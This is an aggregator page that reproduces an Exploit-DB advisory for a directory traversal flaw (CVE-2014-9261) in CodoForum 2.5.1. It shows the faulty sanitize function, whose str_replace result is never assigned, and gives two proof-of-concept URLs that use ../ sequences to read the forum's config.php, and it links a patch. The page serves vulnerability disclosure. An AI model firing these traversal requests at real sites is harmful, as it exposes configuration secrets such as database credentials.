Lucene search
K

CodoForum 2.5.1 - Arbitrary File Download

🗓️ 10 Mar 2015 00:00:00Reported by Kacper SzurekType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 20 Views

Codoforum 2.5.1 Arbitrary File Download. Vulnerability in file path handlin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Codoforum 2.5.1 Arbitrary File Download Vulnerability
10 Mar 201500:00
zdt
CNVD
Codoforum Filtering Feature Directory Traversal Vulnerability
24 Mar 201500:00
cnvd
CVE
CVE-2014-9261
23 Mar 201516:00
cve
Cvelist
CVE-2014-9261
23 Mar 201516:00
cvelist
exploitpack
CodoForum 2.5.1 - Arbitrary File Download
10 Mar 201500:00
exploitpack
NVD
CVE-2014-9261
23 Mar 201516:59
nvd
OpenVAS
Codoforum Arbitrary File Download Vulnerability
17 Mar 201500:00
openvas
Packet Storm
Codoforum 2.5.1 Arbitrary File Download
10 Mar 201500:00
packetstorm
Prion
Directory traversal
23 Mar 201516:59
prion
# Exploit Title: Codoforum 2.5.1 Arbitrary File Download
# Date: 23-11-2014
# Software Link: https://codoforum.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9261

1. Description
  
str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

    str_replace("..", "", $name);
    str_replace("%2e%2e", "", $name);

    return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:
  
Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2015 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 25
EPSS0.17212
20